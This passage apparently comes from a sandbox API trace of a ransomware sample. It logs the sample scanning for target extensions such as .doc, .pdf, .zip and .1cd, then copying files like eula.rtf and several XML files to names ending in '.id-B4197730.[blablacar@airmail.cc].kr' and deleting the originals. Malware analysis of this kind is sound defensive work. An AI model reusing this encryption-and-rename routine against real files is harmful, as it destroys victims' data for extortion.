(lpString=".zip") returned 4 [0086.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.093] lstrlenW (lpString=".rar") returned 4 [0086.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString=".bz2") returned 4 [0086.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString=".7z") returned 3 [0086.093] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.093] lstrlenW (lpString=".dbf") returned 4 [0086.093] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.093] lstrlenW (lpString=".1cd") returned 4 [0086.093] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0086.093] lstrlenW (lpString=".jpg") returned 4 [0086.093] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.094] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0086.095] lstrlenW (lpString="eula.rtf") returned 8 [0086.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0086.096] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4015) returned 1 [0086.096] CloseHandle (hObject=0x348) returned 1 [0086.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0086.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0086.097] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.098] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0086.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0086.105] GetLastError () returned 0x0 [0086.105] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xfaf, lpOverlapped=0x0) returned 1 [0086.810] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xfb0, lpOverlapped=0x0) returned 1 [0086.811] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0086.813] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe4, lpOverlapped=0x0) returned 1 [0086.813] SetEndOfFile (hFile=0x33c) returned 1 [0087.261] CloseHandle (hObject=0x33c) returned 1 [0087.263] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.263] SetEndOfFile (hFile=0x348) returned 1 [0087.264] CloseHandle (hObject=0x348) returned 1 [0087.264] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.265] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0087.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.265] lstrlenW (lpString=".doc") returned 4 [0087.265] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0087.265] lstrlenW (lpString=".docx") returned 5 [0087.265] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0087.265] lstrlenW (lpString=".pdf") returned 4 [0087.265] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0087.265] lstrlenW (lpString=".xls") returned 4 [0087.265] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0087.265] lstrlenW (lpString=".xlsx") returned 5 [0087.265] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0087.265] lstrlenW (lpString=".ppt") returned 4 [0087.265] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0087.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.265] lstrlenW (lpString=".zip") returned 4 [0087.265] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0087.266] lstrlenW (lpString=".rar") returned 4 [0087.266] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString=".bz2") returned 4 [0087.266] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString=".7z") returned 3 [0087.266] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0087.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.266] lstrlenW (lpString=".dbf") returned 4 [0087.266] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.266] lstrlenW (lpString=".1cd") returned 4 [0087.266] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.266] lstrlenW (lpString=".jpg") returned 4 [0087.266] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.266] lstrlenW (lpString=".doc") returned 4 [0087.266] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString=".docx") returned 5 [0087.266] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0087.266] lstrlenW (lpString=".pdf") returned 4 [0087.266] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0087.266] lstrlenW (lpString=".xls") returned 4 [0087.266] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0087.267] lstrlenW (lpString=".xlsx") returned 5 [0087.267] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0087.267] lstrlenW (lpString=".ppt") returned 4 [0087.267] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0087.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.267] lstrlenW (lpString=".zip") returned 4 [0087.267] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0087.267] lstrlenW (lpString=".rar") returned 4 [0087.267] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0087.267] lstrlenW (lpString=".bz2") returned 4 [0087.267] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0087.267] lstrlenW (lpString=".7z") returned 3 [0087.267] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0087.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.267] lstrlenW (lpString=".dbf") returned 4 [0087.267] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0087.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.267] lstrlenW (lpString=".1cd") returned 4 [0087.267] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0087.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0087.267] lstrlenW (lpString=".jpg") returned 4 [0087.267] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0087.268] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.268] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0087.268] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.268] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=201796) returned 1 [0087.268] CloseHandle (hObject=0x348) returned 1 [0087.268] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0087.268] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.268] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.268] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.269] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.269] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.269] GetLastError () returned 0x0 [0087.269] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x31444, lpOverlapped=0x0) returned 1 [0087.276] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x31450, lpOverlapped=0x0) returned 1 [0087.280] ReadFile (in: hFile=0x348, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0087.280] WriteFile (in: hFile=0x33c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xf6, lpOverlapped=0x0) returned 1 [0087.281] SetEndOfFile (hFile=0x33c) returned 1 [0087.281] CloseHandle (hObject=0x33c) returned 1 [0087.287] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.287] SetEndOfFile (hFile=0x348) returned 1 [0087.289] CloseHandle (hObject=0x348) returned 1 [0087.289] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.290] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0087.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.290] lstrlenW (lpString=".doc") returned 4 [0087.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.290] lstrlenW (lpString=".docx") returned 5 [0087.290] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.290] lstrlenW (lpString=".pdf") returned 4 [0087.290] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.290] lstrlenW (lpString=".xls") returned 4 [0087.290] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString=".xlsx") returned 5 [0087.291] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.291] lstrlenW (lpString=".ppt") returned 4 [0087.291] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.291] lstrlenW (lpString=".zip") returned 4 [0087.291] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.291] lstrlenW (lpString=".rar") returned 4 [0087.291] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString=".bz2") returned 4 [0087.291] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString=".7z") returned 3 [0087.291] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.291] lstrlenW (lpString=".dbf") returned 4 [0087.291] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.291] lstrlenW (lpString=".1cd") returned 4 [0087.291] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.291] lstrlenW (lpString=".jpg") returned 4 [0087.291] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.291] lstrlenW (lpString=".doc") returned 4 [0087.291] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString=".docx") returned 5 [0087.292] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.292] lstrlenW (lpString=".pdf") returned 4 [0087.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString=".xls") returned 4 [0087.292] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString=".xlsx") returned 5 [0087.292] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.292] lstrlenW (lpString=".ppt") returned 4 [0087.292] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.292] lstrlenW (lpString=".zip") returned 4 [0087.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.292] lstrlenW (lpString=".rar") returned 4 [0087.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString=".bz2") returned 4 [0087.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString=".7z") returned 3 [0087.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.292] lstrlenW (lpString=".dbf") returned 4 [0087.292] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.292] lstrlenW (lpString=".1cd") returned 4 [0087.292] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0087.292] lstrlenW (lpString=".jpg") returned 4 [0087.292] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.293] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.293] lstrlenW (lpString="UiInfo.xml") returned 10 [0087.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.804] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=39042) returned 1 [0087.804] CloseHandle (hObject=0x334) returned 1 [0087.804] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0087.804] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.804] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.804] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.806] GetLastError () returned 0x0 [0087.806] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x9882, lpOverlapped=0x0) returned 1 [0087.808] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x9890, lpOverlapped=0x0) returned 1 [0087.811] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0087.811] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe8, lpOverlapped=0x0) returned 1 [0087.812] SetEndOfFile (hFile=0x348) returned 1 [0087.812] CloseHandle (hObject=0x348) returned 1 [0087.814] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.814] SetEndOfFile (hFile=0x334) returned 1 [0087.815] CloseHandle (hObject=0x334) returned 1 [0087.815] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.815] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0087.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.815] lstrlenW (lpString=".doc") returned 4 [0087.815] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.815] lstrlenW (lpString=".docx") returned 5 [0087.815] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.815] lstrlenW (lpString=".pdf") returned 4 [0087.815] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.815] lstrlenW (lpString=".xls") returned 4 [0087.815] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.815] lstrlenW (lpString=".xlsx") returned 5 [0087.816] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.816] lstrlenW (lpString=".ppt") returned 4 [0087.816] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.816] lstrlenW (lpString=".zip") returned 4 [0087.816] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.816] lstrlenW (lpString=".rar") returned 4 [0087.816] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString=".bz2") returned 4 [0087.816] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString=".7z") returned 3 [0087.816] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.816] lstrlenW (lpString=".dbf") returned 4 [0087.816] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.816] lstrlenW (lpString=".1cd") returned 4 [0087.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.816] lstrlenW (lpString=".jpg") returned 4 [0087.816] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.816] lstrlenW (lpString=".doc") returned 4 [0087.816] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString=".docx") returned 5 [0087.816] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.816] lstrlenW (lpString=".pdf") returned 4 [0087.816] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString=".xls") returned 4 [0087.816] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.816] lstrlenW (lpString=".xlsx") returned 5 [0087.817] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.817] lstrlenW (lpString=".ppt") returned 4 [0087.817] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.817] lstrlenW (lpString=".zip") returned 4 [0087.817] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.817] lstrlenW (lpString=".rar") returned 4 [0087.817] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.817] lstrlenW (lpString=".bz2") returned 4 [0087.817] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.817] lstrlenW (lpString=".7z") returned 3 [0087.817] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.817] lstrlenW (lpString=".dbf") returned 4 [0087.817] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.817] lstrlenW (lpString=".1cd") returned 4 [0087.817] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0087.817] lstrlenW (lpString=".jpg") returned 4 [0087.817] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.817] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.817] lstrlenW (lpString="Strings.xml") returned 11 [0087.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.818] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=14084) returned 1 [0087.818] CloseHandle (hObject=0x334) returned 1 [0087.818] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0087.818] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.818] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.818] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: 